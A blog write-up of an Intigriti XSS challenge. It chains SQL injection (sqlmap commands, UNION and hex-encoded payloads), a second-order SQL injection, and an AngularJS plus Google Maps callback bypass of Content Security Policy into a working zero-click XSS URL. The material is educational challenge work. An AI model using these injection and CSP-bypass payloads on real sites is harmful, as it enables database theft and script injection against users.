Another month, another Intigriti XSS Challenge. On Twitter intigriti released another challenge to find Cross-Site Scripting. This specific challenge just kept on going. Every time I thought I got the full payload there was just another catch, but in the end, it was very satisfying to solve.
The previous challenges seem to stay up permanently, so you can still view the challenge yourself on: https://challenge-0722.intigriti.io/challenge/challenge.php
It shows us a blog with a few articles. The clickable names don't go anywhere, but on the right, there is an Archives section with two clickable links. If we go to March 2022 for example, we see the URL change to
?month=3, because March is the 3rd month. We can change this number to 2 to see all posts from February. For the rest this site is pretty simple, this is about all the functionality.
"SQL Injection?! I thought this was an XSS challenge", but in this case, we might be able to use SQL Injection to get XSS. The only real input we have is the
?month= parameter we found, so let's try it. It takes a number, so we probably won't have to escape any quotes. The query could look something like this if we inject
This means the
WHERE condition will always be true, and it should return all the posts to us: https://challenge-0722.intigriti.io/challenge/challenge.php?month=7%20OR%201=1
When you visit the link, it indeed shows all 4 posts from February and March. We can verify this even further by trying
AND 1=2, so the condition will always be false: https://challenge-0722.intigriti.io/challenge/challenge.php?month=7%20AND%201=2
And that shows no results as we expect! This means we can inject our own SQL syntax to get information from the database. Here I used
sqlmap to do the hard work:
$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch --dbs ... [15:03:40] [INFO] GET parameter 'month' appears to be dynamic [15:03:41] [INFO] heuristic (basic) test shows that GET parameter 'month' might be injectable [15:03:44] [INFO] GET parameter 'month' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable ... [15:05:04] [INFO] GET parameter 'month' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'month' is vulnerable. sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests: --- Parameter: month (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: month=3 AND 5840=5840 Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: month=3 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706b6a71,0x5a754148485850614a6152515479704d67656b776d4d49647552786d72446278564a665079446e6e,0x7170627171)-- - --- ... available databases : [*] blog [*] information_schema [*] mysql [*] performance_schema [*] sys
Awesome. It found the SQL Injection, and even another more powerful variant called
UNION. With this, we can append or "union" queries together to make the query return whatever we want. We can use this to quickly get records from the database, but also to get our content displayed on the site, a perfect candidate for XSS.
To get our content in here we need to first find what columns are returned on the site. We can send a payload like
1 UNION SELECT 111,222,333,444,555 to make the columns distinct in the output.
Here we can clearly see
333 in the result. This means these 3 columns are returned in the HTML and are candidates for XSS.
Normally we can just replace our
333 for example with
"text" in quotes to make it return a string. But in this case, it seems to just return
error any time we use
' quotes. Luckily MySQL has some other ways of representing string, like the hexadecimal notation. We can just convert all characters of a string to hex and then put
0x in front of it. Then we represented a string without using any quotes. With a simple
<u>underlined</u> for example, I made a CyberChef recipe to convert it to this hex format. We can then use
0x3c753e756e6465726c696e65643c2f753e in our payload instead of the numbers to test if we can use HTML:
Sadly we can see that it does not interpret our tags as real HTML. They're encoded with HTML entities, and it's probably not something we can bypass.
So far we used the
555 columns, and the
111 column is probably a numeric ID. But we're not yet sure what the
444 column is. To help us guess we can make use of the SQL Injection we found so far. We can try to find the columns for the blog table to see what things we're missing. We can simply use
sqlmap for this again, with the
-D blog and
-T post parameters, and finally
--dump to get the data and columns for this table.
$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch -D blog -T post --dump ... [15:37:46] [INFO] fetching entries for table 'post' in database 'blog' Database: blog Table: post [4 entries] +----+----------------------------------+--------------------+--------+---------------------+ | id | msg | title | author | datetime | +----+----------------------------------+--------------------+--------+---------------------+ | 1 | Hello everyone | First post | 1 | 2022-02-14 15:26:55 | | 2 | Another post by Anton | Second post | 1 | 2022-02-14 15:57:22 | | 3 | Hello, I'm Jake and I'm new here | I'm new | 2 | 2022-02-14 15:57:42 | | 4 | Time goes fast | It's March already | 2 | 2022-03-22 02:35:10 | +----+----------------------------------+--------------------+--------+---------------------+
And the 4th column is... the author! It seems to just be a number, probably referencing somewhere. There is also a
user table that seems to contain these authors.
$ sqlmap -u https://challenge-0722.intigriti.io/challenge/challenge.php?month=3 --batch -D blog -T user --dump ... [15:39:56] [INFO] fetching entries for table 'user' in database 'blog' Database: blog Table: user [2 entries] +----+-------+-----------+ | id | name | picture | +----+-------+-----------+ | 1 | Anton | anton.png | | 2 | Jake | jake.png | +----+-------+-----------+
When we specify a number like
2 in the author column we do actually get the "by Jake" text:
1 UNION SELECT 111,222,333,2,555. It seems we can change the number, but not the actual text displayed on the page.
This is where it starts to get tricky. I tried lots of things with
JOIN and subqueries but nothing seems to be able to change this name value, but it must be coming from the database somehow. Eventually, I had a crazy idea, what if we do another SQL Injection, inside of this SQL Injection? Maybe the backend code is just doing two separate queries. The first gets information about the blog post, including the
id of the author. Then a second query takes this
id and queries the
user database to get the name. This would mean the value of the 4th column on our payload is sent into another query, possibly allowing a second SQL Injection.
We can try this by doing another
OR 1=1 and
AND 1=2 payload to see the differences, with the same hexadecimal trick from earlier:
3 OR 1=1: https://challenge-0722.intigriti.io/challenge/challenge.php?month=1%20UNION%20SELECT%20111,222,333,0x33204f5220313d31,555
3 AND 1=2: https://challenge-0722.intigriti.io/challenge/challenge.php?month=1%20UNION%20SELECT%20111,222,333,0x3320414e4420313d32,555
The first link shows "by Anton", the first user, and the second link shows just an empty "by". This again means that our SQL Injection worked, and we can try the same
UNION trick to let it return arbitrary data and possibly get XSS. With a payload like
3 UNION SELECT 666,777,888 we see "by 777"! Now that we also have control over this
author value by changing the 777, let's try some HTML in here.
<h1>test</h1>and convert it to the hex format:
- Take our new payload like
3 UNION SELECT 666,0x3c68313e746573743c2f68313e,888and convert it to hex as well:
- Finally put this in our first SQL Injection:
1 UNION SELECT 111,222,333,0x3320554e494f4e2053454c454354203636362c307833633638333133653734363537333734336332663638333133652c383838,555
At this point I made another CyberChef recipe to automate this
When we visit the URL it shows our
<h1>test</h1> interpreted as HTML! Because the text is bigger and we can't see the tags anymore. So just put a
<script> tag in there and we're done, right? We can replace the
<h1> payload with
<script>alert(document.domain)</script> and get the following link:
Looking at the HTML it seems to correctly include our
<script>alert(document.domain)</script>, but we don't see an alert. Looking at the Console shows the reason for this:
Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com". Either the 'unsafe-inline' keyword, a hash ('sha256-X6WoVv8sUlFXk0r+MI/R+p2PsbD1k74Z+jLIpYAjIgE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
It violates the Content Security Policy, used to protect against these kinds of XSS attacks, and much more.
Looking at the HTTP response from the server, the CSP is simply:
We can use the CSP Evaluator from Google to quickly get an idea of what things we can abuse. Under
default-src it allows anything from
cloudflare.com. As the evaluator says, these domains are known to contain AngularJS libraries. One of these is
ajax.googleapis.com, which has AngularJS hosted on https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js.
AngularJS allows us to specify special attributes to elements to do Angular stuff. It also allows us to register things like
onclick handlers. I found a great presentation by Mario Heiderich going over some of the details of this CSP Bypass. Angular can work while CSP is enabled by registering functions on event handlers. Eventually, we need to execute
alert(document.domain), and these
document variables are accessible in Angular via the
$event.view variable. So it will become
$event.view.alert($event.view.document.domain). Let's try this in our payload:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script> <div ng-app ng-csp ng-click=$event.view.alert($event.view.document.domain)>click me</div>
Converting it with CyberChef again results in this URL. When we load it and click the "click me" text we actually see the
alert(document.domain)! This is nice, but for the challenge, it needs to trigger upon loading the page. The problem we have is that Angular in CSP mode can only register event handlers like
onclick, but not things like
But here we can use another trick to click the text for the user, so there is no interaction required. One thing I found while searching for the AngularJS exploits was some callback scripts. These scripts are supposed to run, and then call a function back in the original code it was called from. There is this handy function called
I just searched on Google for "googleapis.com callback parameter" to find any known scripts on this domain that have this functionality, because most things I found were from years ago and didn't work anymore. Eventually, I found https://maps.googleapis.com/maps/api/js in a StackOverflow post. This URL has a
?callback= parameter that we can give any function. You can test it by quickly making an HTML file with
<script src="https://maps.googleapis.com/maps/api/js?callback=alert"></script> in it. Opening the document triggers the
alert() function! This means we can execute any function by just including a script to this source. One catch is that we can only specify the function name, not the arguments. But we can just call the
.click() function on our Angular element to trigger the code we want anyways, so this isn't a problem.
.click() on it. One thing we can do is add the
x variable (sometimes this is also abusable with DOM clobbering if you're interested). This means we can let the callback execute
x.click for us, which will click the element without any user interaction! The final HTML will look something like this:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script> <div ng-app ng-csp id=x ng-click=$event.view.alert($event.view.document.domain)>click me</div> <script async src=https://maps.googleapis.com/maps/api/js?callback=x.click></script>
Converting it again with the CyberChef recipe leaves us with the final URL to trigger the XSS:
Which correctly triggers the alert when visited, without any user interaction!